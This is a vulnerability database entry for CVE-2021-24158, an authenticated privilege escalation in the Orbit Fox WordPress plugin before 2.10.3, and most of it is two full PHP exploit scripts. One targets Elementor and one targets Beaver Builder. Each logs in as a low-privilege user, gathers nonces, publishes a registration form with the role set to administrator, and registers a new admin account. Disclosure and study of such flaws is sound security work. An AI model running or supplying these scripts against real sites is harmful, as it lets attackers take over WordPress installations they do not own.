Lucene search
+L
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Settings
Sign in

Orbit Fox by ThemeIsle < 2.10.3 - Authenticated Privilege Escalation

🗓️ 12 Jan 2021 00:00:00Reported by Chloe ChamberlandType 
wpexploit
 wpexploit👁 128 Views

Orbit Fox 2.10.3 - Authenticated Privilege Escalation in User Registration Form

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB		CVE-2021-24158
5 Apr 202119:15
–attackerkb
cnnvd
CNNVD		WordPress Orbit Fox 安全漏洞
5 Apr 202100:00
–cnnvd
cve
CVE		CVE-2021-24158
5 Apr 202118:27
–cve
cvelist
Cvelist		CVE-2021-24158 Orbit Fox by ThemeIsle < 2.10.3 - Authenticated Privilege Escalation
5 Apr 202118:27
–cvelist
euvd
EUVD		EUVD-2021-11072
7 Oct 202500:30
–euvd
nvd
NVD		CVE-2021-24158
5 Apr 202119:15
–nvd
osv
OSV		CVE-2021-24158
5 Apr 202119:15
–osv
prion
Prion		Default configuration
5 Apr 202119:15
–prion
ptsecurity
Positive Technologies		PT-2021-15703 · Themeisle · Orbit Fox
5 Apr 202100:00
–ptsecurity
redhatcve
RedhatCVE		CVE-2021-24158
22 May 202521:04
–redhatcve
Rows per page
Elementor PoC

<?php

// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];


$proxy = '127.0.0.1:8081';
$urlbits = parse_url( $siteurl );
$wp_url = $urlbits['scheme'].'://'.$urlbits['host'].'/';

//Json Encode Our New Post
$data = array(
    "title" => "Exploit Post",
    "content" => "<!-- wp:paragraph -->\nSample\n<!-- /wp:paragraph -->",
    "status"=>"pending");

$postdata = json_encode($data);

//Get Json post data length
$length = strlen($postdata);

echo 'Logging in!';

// 1) Log in as contributor+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

echo 'Grabbing Rest API!';
// Pull the Rest API Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Rest API Nonce
preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
$restnonce = $matches[1];

echo 'Creating New Post and Grabbing Page ID!';
//Create New Post
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    "X-WP-Nonce: $restnonce",
    "Content-Length: $length"));
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$test = curl_exec($ch);

//Grab the page-id
preg_match('/"id":([^"]+),/', $test, $matches);
$pageid = $matches[1];

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post.php?post=' . $pageid . '&action=elementor');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/"nonce":"([^"]+)"},"connect/', $content, $matches);
$elementornonce = $matches[1];

echo 'Adding New User Form!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-admin/admin-ajax.php' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'actions' => '{"save_builder":{"action":"save_builder","data":{"status":"publish","elements":[{"id":"be9a476","elType":"section","isInner":false,"settings":{},"elements":[{"id":"7ea305d","elType":"column","isInner":false,"settings":{"_column_size":100,"_inline_size":null},"elements":[{"id":"6edacb5","elType":"widget","isInner":false,"settings":{"form_fields":[{"key":"username","type":"text","label":"User Name","require":"required","placeholder":"User Name","field_width":"100","field_map":"user_login","_id":"3aef8c5","requirement":"","field_width_tablet":"","field_width_mobile":""},{"key":"email","type":"email","label":"Email","require":"required","placeholder":"Email","field_width":"100","field_map":"user_email","_id":"08c574b","requirement":"","field_width_tablet":"","field_width_mobile":""},{"key":"password","type":"password","label":"Password","require":"required","placeholder":"Password","field_width":"100","field_map":"user_pass","_id":"5f76a2d","requirement":"","field_width_tablet":"","field_width_mobile":""}],"submit_label":"Register","user_role":"administrator"},"elements":[],"widgetType":"content_form_registration"}]}]}],"settings":{"post_title":"BadPost","post_status":"pending"}}}}',
    '_nonce' => $elementornonce,
    'editor_post_id' => $pageid,
    'initial_document_id' => $pageid,
    'action' => 'elementor_ajax'
] );
$output = curl_exec($ch);
curl_close($ch);

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&preview=true');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$register = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/"_wpnonce_registration"\svalue="([^"]+)"/', $register, $matches);
$registernonce = $matches[1];

//Import Nonce
preg_match('/contentFormsSettings(.)*"nonce":"([^"]+)"}/', $register, $matches);
$formnonce = $matches[2];

echo 'Adding New User!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-json/content-forms/v1/submit' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    "X-WP-Nonce: $formnonce"));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'form_type' => 'registration',
    'form_id' => '6edacb5',
    'post_id' => $pageid,
    'form_builder' => 'elementor',
    'data[6edacb5][USER_LOGIN]' => 'hax0r',
    'data[6edacb5][USER_EMAIL]' => '[email protected]',
    'data[6edacb5][USER_PASS]' => 'hax0r',
    'nonce' => $registernonce,

] );
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>

Beaver Builder PoC
<?php

// Settings
$siteurl = $argv[1];
$wp_user = $argv[2];
$wp_pass = $argv[3];


$proxy = '127.0.0.1:8081';
$urlbits = parse_url( $siteurl );
$wp_url = $urlbits['scheme'].'://'.$urlbits['host'].'/';

//Json Encode Our New Post
$data = array(
    "title" => "Exploit Post",
    "content" => "<!-- wp:paragraph -->\nSample\n<!-- /wp:paragraph -->",
    "status"=>"pending");

$postdata = json_encode($data);

//Get Json post data length
$length = strlen($postdata);

echo 'Logging in!';

// 1) Log in as contributor+
$ch = curl_init();
$cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'log'        => $wp_user,
    'pwd'        => $wp_pass,
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
]);
$output = curl_exec($ch);
curl_close($ch);

echo 'Grabbing Rest API!';
// Pull the Rest API Nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Rest API Nonce
preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
$restnonce = $matches[1];

echo 'Creating New Post and Grabbing Page ID!';
//Create New Post
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    "X-WP-Nonce: $restnonce",
    "Content-Length: $length"));
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$test = curl_exec($ch);

//Grab the page-id
preg_match('/"id":([^"]+),/', $test, $matches);
$pageid = $matches[1];

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&fl_builder');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/ajaxNonce":"([^"]+)","builderEnabled"/', $content, $matches);
$beavernonce = $matches[1];

echo 'Getting Node!';
//Getting Node
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&fl_builder');
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'fl_builder_data[action]' => 'render_new_module',
    'fl_builder_data[parent_id]' => '0',
    'fl_builder_data[type]' => 'class-themeisle-content-forms-beaver-registration',
    'fl_builder_data[position]' => '-1',
    'fl_builder_data[_wpnonce]' => $beavernonce,
    'fl_builder_data[post_id]' => $pageid,
    'fl_builder_data[fl_builder]' => '1',
    'fl_builder_data[fl_action]' => 'render_new_module'
] );
$node = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/"nodeId":"([^"]+)"/', $node, $matches);
$nodeID = $matches[1];

echo 'Adding New User Form!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&fl_builder' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'fl_builder_data[action]' => 'save_settings',
    'fl_builder_data[node_id]' => $nodeID,
    'fl_builder_data[settings][fields][]' => '{"label":"User Name","placeholder":"User Name","type":"text","field_width":"100","field_width_medium":"","field_width_responsive":"","required":"required","field_map":"user_login","key":"username"}',
    'fl_builder_data[settings][fields][]' => '{"label":"Email","placeholder":"Email","type":"email","field_width":"100","field_width_medium":"","field_width_responsive":"","required":"required","field_map":"user_email","key":"email"}',
    'fl_builder_data[settings][fields][]' => '{"label":"Password","placeholder":"Password","type":"password","field_width":"100","field_width_medium":"","field_width_responsive":"","required":"required","field_map":"user_pass","key":"password"}',
    'fl_builder_data[settings][hide_label]' => 'show',
    'fl_builder_data[settings][submit_label]' => 'register',
    'fl_builder_data[settings][user_role]' => 'administrator',
    'fl_builder_data[_wpnonce]' => $beavernonce,
    'fl_builder_data[post_id]' => $pageid,
    'fl_builder_data[fl_builder]' => '1',
    'fl_builder_data[fl_action]' => 'save_settings'

] );
$output = curl_exec($ch);
curl_close($ch);

echo 'Adding New User Form!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&fl_builder' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'fl_builder_data[action]' => 'save_layout',
    'fl_builder_data[publish]' => 'true',
    'fl_builder_data[exit]' => '1',
    'fl_builder_data[_wpnonce]' => $beavernonce,
    'fl_builder_data[post_id]' =>  $pageid,
    'fl_builder_data[fl_builder]' => '1',
    'fl_builder_data[fl_action]' => 'save_layout'

] );
$output = curl_exec($ch);
curl_close($ch);

echo 'Getting Another Nonce!';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $siteurl . '/?p=' . $pageid . '&preview=true');
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$register = curl_exec($ch);
curl_close($ch);

//Import Nonce
preg_match('/"_wpnonce_registration"\svalue="([^"]+)"/', $register, $matches);
$registernonce = $matches[1];

//Import Nonce
preg_match('/contentFormsSettings(.)*"nonce":"([^"]+)"}/', $register, $matches);
$formnonce = $matches[2];

echo 'Adding New User!';
//Upload a file
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-json/content-forms/v1/submit' );
curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' );
curl_setopt( $ch, CURLOPT_PROXY, $proxy );
curl_setopt( $ch, CURLOPT_HTTPHEADER, array(
    "X-WP-Nonce: $formnonce"));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, [
    'form_type' => 'registration',
    'form_id' => $nodeID,
    'post_id' => $pageid,
    'form_builder' => 'beaver',
    'data[' . $nodeID . '][USER_LOGIN]' => 'hax0r4',
    'data['. $nodeID .'][USER_EMAIL]' => '[email protected]',
    'data['. $nodeID .'][USER_PASS]' => 'hax0r',
    'nonce' => $registernonce,

] );
$output = curl_exec($ch);
curl_close($ch);
print_r($output);

?>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
18 Feb 2021 15:33Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.009
orbit foxthemeisleauthenticatedprivilege escalationuser registrationelementorbeaver buildervulnerability
128